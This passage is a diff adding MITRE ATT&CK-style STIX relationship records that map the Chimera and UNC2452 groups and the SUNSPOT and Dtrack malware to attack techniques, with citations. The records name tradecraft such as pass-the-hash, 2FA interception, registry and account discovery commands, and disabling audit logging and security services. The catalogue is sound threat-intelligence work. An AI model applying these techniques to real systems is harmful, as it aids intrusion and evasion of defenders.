"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used HTTPS for C2 communications.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--39da4f4e-e382-4db0-8184-cff27532173f", + "type": "relationship", + "modified": "2021-01-22T18:38:21.118Z", + "created": "2021-01-22T18:38:21.118Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has dumped password hashes for use in pass the hash authentication attacks.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--34cb1bf0-c738-4637-84cc-c0472b105669", + "type": "relationship", + "modified": "2021-01-22T18:59:40.068Z", + "created": "2021-01-22T18:59:40.068Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has registered alternate phone numbers for compromised users to intercept 2FA codes sent via SMS.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--e925337d-e878-48ad-a53c-3a3f4656849e", + "type": "relationship", + "modified": "2021-01-22T19:53:33.345Z", + "created": "2021-01-22T19:53:33.345Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used net user for account discovery.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--85327654-1ce1-43f6-bc8b-eb6c1c83d483", + "type": "relationship", + "modified": "2021-01-22T20:02:03.125Z", + "created": "2021-01-22T20:02:03.125Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "target_ref": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2", + "relationship_type": "mitigates", + "description": "For containing the impact of a previously forged SAML token, rotate the token-signing AD FS certificate in rapid succession twice, which will invalidate any tokens generated using the previous certificate.(Citation: Mandiant Defend UNC2452 White Paper)", + "id": "relationship--3278a7a8-bf61-45bc-9553-872f222f699d", + "external_references": [ + { + "source_name": "Mandiant Defend UNC2452 White Paper", + "url": "https://www.fireeye.com/content/dam/collateral/en/wp-m-unc2452.pdf", + "description": "Mandiant. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved January 22, 2021." + } + ], + "type": "relationship", + "modified": "2021-04-14T14:29:27.509Z", + "created": "2021-01-22T20:09:08.229Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used custom DLLs for continuous retrieval of data from memory.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--b61e25f5-89cd-4c64-90e6-15b8b21a3a10", + "type": "relationship", + "modified": "2021-01-22T20:35:21.925Z", + "created": "2021-01-22T20:35:21.925Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. 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Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has queried Registry keys using reg query \\\\\\HKU\\\\SOFTWARE\\Microsoft\\Terminal Server Client\\Servers and reg query \\\\\\HKU\\\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--c495478b-6bae-4d1e-a43e-be07fe7cdb48", + "type": "relationship", + "modified": "2021-01-22T21:09:58.863Z", + "created": "2021-01-22T21:09:58.863Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . 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(2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used fsutil, fsinfo drives systeminfo, and vssadmin list shadows for sytesm information including shadow volumes and drive information.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--c3556085-d0ed-41dc-9ed4-a0a0c65ee104", + "type": "relationship", + "modified": "2021-01-22T21:14:28.221Z", + "created": "2021-01-22T21:14:28.221Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used [ipconfig](https://attack.mitre.org/software/S0100), [Ping](https://attack.mitre.org/software/S0097), and tracert to enumerate the IP address and network environment and settings of the local host.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--817b9a3f-dec4-4269-ab36-4788c6e11c7b", + "type": "relationship", + "modified": "2021-01-22T21:20:21.217Z", + "created": "2021-01-22T21:20:21.217Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . 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Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used the quser command to show currently logged on users.(Citation: NCC Group Chimera January 2021) ", + "relationship_type": "uses", + "id": "relationship--85278437-ae97-477e-b7cf-d2bad3fd1c6e", + "type": "relationship", + "modified": "2021-03-04T22:05:10.707Z", + "created": "2021-01-22T21:22:24.980Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used time /t and net time \\\\ip/hostname for system time discovery.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--9736ff6e-3b76-47be-a523-3be6076ce5eb", + "type": "relationship", + "modified": "2021-04-26T13:30:58.549Z", + "created": "2021-01-22T21:28:55.385Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used net start and net use for system service discovery.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--7944bf15-8e56-4624-8776-bc9fc5aee249", + "type": "relationship", + "modified": "2021-01-22T21:28:55.390Z", + "created": "2021-01-22T21:28:55.390Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "CrowdStrike SUNSPOT Implant January 2021", + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021." + } + ], + "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) enumerated the Orion software Visual Studio solution directory path.(Citation: CrowdStrike SUNSPOT Implant January 2021)", + "relationship_type": "uses", + "id": "relationship--6d8b4863-f8db-4776-a70f-ea16255d45bd", + "type": "relationship", + "modified": "2021-01-22T22:35:20.240Z", + "created": "2021-01-22T22:35:20.240Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used fsutil to check available free space before executing actions that might create large files on disk.(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--bb76ff77-5faa-4120-a123-ecad9723dd5d", + "type": "relationship", + "modified": "2021-01-25T13:28:21.449Z", + "created": "2021-01-25T13:28:21.449Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", + "external_references": [ + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used netsh to configure firewall rules that limited certain UDP outbound packets.(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--8b887e95-93da-4f9c-8c7f-18f4f6a144b4", + "type": "relationship", + "modified": "2021-01-25T13:28:21.519Z", + "created": "2021-01-25T13:28:21.519Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a", + "external_references": [ + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used AUDITPOL to prevent the collection of audit logs.(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--fbfadc2d-859c-4906-b56d-6d6ff33ea16d", + "type": "relationship", + "modified": "2021-01-25T13:28:21.523Z", + "created": "2021-01-25T13:28:21.522Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "external_references": [ + { + "source_name": "CyberBit Dtrack", + "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/", + "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021." + } + ], + "description": "[Dtrack](https://attack.mitre.org/software/S0567) used hard-coded credentials to gain access to a network share.(Citation: CyberBit Dtrack)", + "relationship_type": "uses", + "id": "relationship--3916c36b-bd92-4070-bc9a-6eab3d78cabd", + "type": "relationship", + "modified": "2021-01-25T13:58:25.136Z", + "created": "2021-01-25T13:58:25.136Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", + "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", + "external_references": [ + { + "source_name": "CyberBit Dtrack", + "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/", + "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021." + } + ], + "description": "[Dtrack](https://attack.mitre.org/software/S0567) contains a function that calls LoadLibrary and GetProcAddress.(Citation: CyberBit Dtrack)", + "relationship_type": "uses", + "id": "relationship--e07d9070-6989-43e7-aee0-1b18aff1ffbe", + "type": "relationship", + "modified": "2021-01-25T13:58:25.163Z", + "created": "2021-01-25T13:58:25.163Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "external_references": [ + { + "source_name": "CyberBit Dtrack", + "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/", + "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021." + } + ], + "description": "[Dtrack](https://attack.mitre.org/software/S0567) can collect the RegisteredOwner, RegisteredOrganization, and InstallDate registry values.(Citation: CyberBit Dtrack)", + "relationship_type": "uses", + "id": "relationship--6b55412a-760f-4ff8-b48a-6ff3bed8b0e9", + "type": "relationship", + "modified": "2021-03-11T23:13:04.857Z", + "created": "2021-01-25T13:58:25.167Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "Securelist Dtrack", + "url": "https://securelist.com/my-name-is-dtrack/93338/", + "description": "Konstantin Zykov. (2019, September 23). Hello! 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Retrieved January 20, 2021." + } + ], + "description": "[Dtrack](https://attack.mitre.org/software/S0567) can collect the victim's computer name, hostname and adapter information to create a unique identifier.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)", + "relationship_type": "uses", + "id": "relationship--1b47deed-a8b9-4e0f-a47e-9570ecccaa90", + "type": "relationship", + "modified": "2021-03-11T23:13:04.856Z", + "created": "2021-01-25T13:58:25.172Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "external_references": [ + { + "source_name": "CyberBit Dtrack", + "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/", + "description": "Hod Gavriel. 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Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021." + } + ], + "description": "One of [Dtrack](https://attack.mitre.org/software/S0567) can hide in replicas of legitimate programs like OllyDbg, 7-Zip, and FileZilla.(Citation: CyberBit Dtrack)", + "relationship_type": "uses", + "id": "relationship--5449bc94-31c6-471a-8525-23af9cdc25bd", + "type": "relationship", + "modified": "2021-03-12T21:10:52.962Z", + "created": "2021-01-25T13:58:25.189Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", + "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "external_references": [ + { + "source_name": "CyberBit Dtrack", + "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/", + "description": "Hod Gavriel. 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Retrieved January 20, 2021." + } + ], + "description": "One of [Dtrack](https://attack.mitre.org/software/S0567) can replace the normal flow of a program execution with malicious code.(Citation: CyberBit Dtrack)", + "relationship_type": "uses", + "id": "relationship--28291398-1281-404e-9603-8aae5a5a9919", + "type": "relationship", + "modified": "2021-03-12T21:10:53.137Z", + "created": "2021-01-25T13:58:25.190Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "external_references": [ + { + "source_name": "CyberBit Dtrack", + "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/", + "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021." + } + ], + "description": "[Dtrack](https://attack.mitre.org/software/S0567) can collect a variety of information from victim machines.(Citation: CyberBit Dtrack)", + "relationship_type": "uses", + "id": "relationship--1029fab5-5714-42d0-ac04-78f4c76c3c02", + "type": "relationship", + "modified": "2021-03-12T21:10:53.130Z", + "created": "2021-01-25T13:58:25.232Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "Securelist Dtrack", + "url": "https://securelist.com/my-name-is-dtrack/93338/", + "description": "Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. 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Retrieved January 20, 2021." + } + ], + "description": "[Dtrack](https://attack.mitre.org/software/S0567) can list files on available disk volumes.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)", + "relationship_type": "uses", + "id": "relationship--9866c9ca-d769-458c-9797-112beb97498d", + "type": "relationship", + "modified": "2021-03-12T21:10:52.988Z", + "created": "2021-01-25T13:58:25.236Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "Securelist Dtrack", + "url": "https://securelist.com/my-name-is-dtrack/93338/", + "description": "Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. 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Retrieved January 20, 2021." + } + ], + "description": "[Dtrack](https://attack.mitre.org/software/S0567)\u2019s RAT makes a persistent target file with auto execution on the host start.(Citation: Securelist Dtrack)", + "relationship_type": "uses", + "id": "relationship--2e9d5640-a88d-4812-b2dc-a94621a95959", + "type": "relationship", + "modified": "2021-01-25T13:58:25.265Z", + "created": "2021-01-25T13:58:25.265Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", + "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", + "external_references": [ + { + "source_name": "Securelist Dtrack", + "url": "https://securelist.com/my-name-is-dtrack/93338/", + "description": "Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. 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Retrieved January 20, 2021." + }, + { + "source_name": "CyberBit Dtrack", + "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/", + "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021." + } + ], + "description": "[Dtrack](https://attack.mitre.org/software/S0567) can retrieve browser history.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)", + "relationship_type": "uses", + "id": "relationship--4b83387a-bba5-44a9-9dc4-3aae9a916d24", + "type": "relationship", + "modified": "2021-03-12T21:10:52.979Z", + "created": "2021-01-25T13:58:25.271Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", + "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "external_references": [ + { + "source_name": "Securelist Dtrack", + "url": "https://securelist.com/my-name-is-dtrack/93338/", + "description": "Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021." + }, + { + "source_name": "CyberBit Dtrack", + "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/", + "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021." + } + ], + "description": "[Dtrack](https://attack.mitre.org/software/S0567) can save collected data to disk, different file formats, and network shares.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)", + "relationship_type": "uses", + "id": "relationship--118d9413-0b34-47e6-b333-b712e78dc404", + "type": "relationship", + "modified": "2021-04-14T15:25:56.661Z", + "created": "2021-01-25T13:58:25.275Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "external_references": [ + { + "source_name": "Securelist Dtrack", + "url": "https://securelist.com/my-name-is-dtrack/93338/", + "description": "Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. 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Retrieved January 20, 2021." + } + ], + "description": "[Dtrack](https://attack.mitre.org/software/S0567) can collect the host's IP addresses using the ipconfig command.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)", + "relationship_type": "uses", + "id": "relationship--9f0f2cd3-5bcb-48c9-812f-f8a37f3dfdd3", + "type": "relationship", + "modified": "2021-04-14T16:08:33.771Z", + "created": "2021-01-25T13:58:25.276Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "Securelist Dtrack", + "url": "https://securelist.com/my-name-is-dtrack/93338/", + "description": "Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021." + } + ], + "description": "[Dtrack](https://attack.mitre.org/software/S0567) has used a dropper that embeds an encrypted payload as extra data.(Citation: Securelist Dtrack)", + "relationship_type": "uses", + "id": "relationship--a498d3ae-f944-4ad0-af8e-f92a78f04feb", + "type": "relationship", + "modified": "2021-03-12T21:10:53.209Z", + "created": "2021-01-25T13:58:25.278Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "external_references": [ + { + "source_name": "Securelist Dtrack", + "url": "https://securelist.com/my-name-is-dtrack/93338/", + "description": "Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. 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(2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used the service control manager on a remote system to disable services associated with security monitoring products.(Citation: Microsoft Deep Dive Solorigate January 2021)", + 